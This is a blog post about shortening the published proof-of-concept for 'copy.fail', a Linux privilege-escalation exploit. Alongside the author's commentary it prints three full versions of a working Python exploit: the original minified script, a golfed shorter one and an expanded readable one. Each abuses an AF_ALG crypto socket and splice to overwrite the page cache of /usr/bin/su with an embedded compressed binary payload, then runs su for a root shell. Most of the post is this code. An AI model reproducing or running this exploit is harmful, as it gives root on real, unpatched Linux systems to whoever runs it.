copy.fail code golf

copy.fail code golf

I’m sure we’ve all heard about copy.fail, the latest named Linux exploit. The researchers used an LLM-based tool to find the vulnerability, and even though I’m an LLM-skeptic in general this is certainly an area where they have real utility. It’s an excellent find and a real vulnerability.

However I was irked by their proof of concept script. To quote the copy.fail marketing site (let’s be honest, it’s a marketing site promoting their LLM tool) “The same 732-byte Python script roots every Linux distribution shipped since 2017”. This was a “minified” python script and they didn’t supply a non-minified version.

It’s easy to nit-pick that their script will fail on any non-x86 system, or any system which doesn’t have a standalone binary in /usr/bin/su, but let work on the size. Can we get it smaller? This script smells of LLM, so I bet we can. Will this also get me to set up syntax highlighting on my blog? Not tonight!

I will also add that I haven’t done any serious Python development since 2020.

Here’s their code:

#!/usr/bin/env python3
import os as g,zlib,socket as s
def d(x):return bytes.fromhex(x)
def c(f,t,c):
 a=s.socket(38,5,0);a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"));h=279;v=a.setsockopt;v(h,1,d('0800010000000010'+'0'*64));v(h,5,None,4);u,_=a.accept();o=t+4;i=d('00');u.sendmsg([b"A"*4+c],[(h,3,i*4),(h,2,b'\x10'+i*19),(h,4,b'\x08'+i*3),],32768);r,w=g.pipe();n=g.splice;n(f,w,o,offset_src=0);n(r,u.fileno(),o)
 try:u.recv(8+t)
 except:0
f=g.open("/usr/bin/su",0);i=0;e=zlib.decompress(d("78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"))
while i<len(e):c(f,i,e[i:i+4]);i+=4
g.system("su")

Time to pick this apart, starting with the first line! This file is copy_fail_exp.py and their examples all show using python3 copy_fail_exp.py, so the shebang #!/usr/bin/env python3 isn’t needed. Bunch of bytes saved there!

Line three has this wonder def d(x):return bytes.fromhex(x). In Python functions are objects, so can be simply assigned to variables d=bytes.fromhex, even more savings.

Line four is fine, but def c(f,t,c): has c shadowed in the function body. Not an issue here because it isn’t called recursively, but poor form.

Then line five. It’s a long one, so having several issues isn’t that surprising given what we’ve seen. Firstly s.socket(38,5,0). The third argument in socket.socket has 0 as its default, so there’s no need for it. Two more bytes.

Scanning further along line five we see (h,4,b'\x08'+i*3),],32768). That comma before the close square bracket is redundant, free byte!

And n(f,w,o,offset_src=0) isn’t optimal. offset_src is used to skip setting offset_dst, but offset_dst defaults to None which is shorter, so n(f,w,o,None,0) is better given the byte count is what we’re after.

The rest looks fine, however there is one more thing that could have been optimised. Python has a specialised version of sendmsg specifically for AF_ALG sockets which would make this line much shorter, this was added in Python 3.6, released on Dec. 23, 2016. However Debian Stretch released in 2017 - the first year this exploit was shipped in the kernel - and only included Python 3.5. Given how Debian lags behind in general it may not be vulnerable but I’m not going to check. That statement would be rewritten as sendmsg_afalg(b"A"*4+c,i*4,b'\x10'+i*19,b'\x08'+i*3,32768) if that was used.

Moving on, we have the try:u.recv(8+t) block. As of Python 3.5, which is the oldest Python I can find shipping in a 2017 distro, recv does not throw, Even if it did it doesn’t matter in this PoC script as it only used to throw on signal interrupts which aren’t handled anyway. That whole try can just be replaced with u.recv(8+t)

So after all that we’re at 672 bytes, 40 fewer than before! And if we use sendmsg_afalg we get down to 654, that’s 78 whole bytes! I’ve also been told that the payload isn’t optimal, but I’m not an ELF or assembly expert.

So here’s the final minified script (swap in sendmsg_afalg for the smallest version if you like). I also normalised the use of string quotes. Can this be smaller?

import os as g,zlib,socket as s
d=bytes.fromhex
def c(f,t,c):a=s.socket(38,5);a.bind(('aead','authencesn(hmac(sha256),cbc(aes))'));h=279;v=a.setsockopt;v(h,1,d('0800010000000010'+'0'*64));v(h,5,None,4);u,_=a.accept();o=t+4;i=d('00');u.sendmsg([b'A'*4+c],[(h,3,i*4),(h,2,b'\x10'+i*19),(h,4,b'\x08'+i*3)],32768);r,w=g.pipe();n=g.splice;n(f,w,o,offset_src=0);n(r,u.fileno(),o);u.recv(8+t)
f=g.open('/usr/bin/su',0);i=0;e=zlib.decompress(d('78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3'))
while i<len(e):c(f,i,e[i:i+4]);i+=4
g.system('su')

Un-minification?

Wondering what the exploit would look like without any minification? Well that’s where I started! This is the expanded, reformatted, and slightly more pythonic version.

import os
import zlib
from socket import socket, AF_ALG, SOL_ALG, ALG_SET_AEAD_AUTHSIZE, ALG_SET_KEY, SOCK_SEQPACKET, MSG_MORE, ALG_SET_IV, ALG_SET_OP, ALG_SET_AEAD_ASSOCLEN

null_bytes = bytes.fromhex('00')

def exploit(target_file, payload_index, data):
 sock = socket(AF_ALG, SOCK_SEQPACKET)
 sock.bind(("aead","authencesn(hmac(sha256),cbc(aes))"))
 sock.setsockopt(SOL_ALG, ALG_SET_KEY, bytes.fromhex('0800010000000010'+'0'*64))
 sock.setsockopt(SOL_ALG, ALG_SET_AEAD_AUTHSIZE, None, 4)

 connection,_ = sock.accept()
 connection.sendmsg_afalg(b"AAAA"+data, null_bytes * 4, b'\x10' + (null_bytes * 19), b'\x08' + (null_bytes * 3), MSG_MORE)
 pipe_read, pipe_write = os.pipe()

 offset = payload_index + 4
 os.splice(target_file, pipe_write, offset, offset_src=0)
 os.splice(pipe_read, connection.fileno(), offset)

 connection.recv(8 + payload_index)

file = os.open("/usr/bin/su", os.O_RDONLY)
payload = zlib.decompress(bytes.fromhex("78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"))

for index in range(0, len(payload), 4):
    exploit(file, index, payload[index:index+4])

os.system("su")

Comments

Post a comment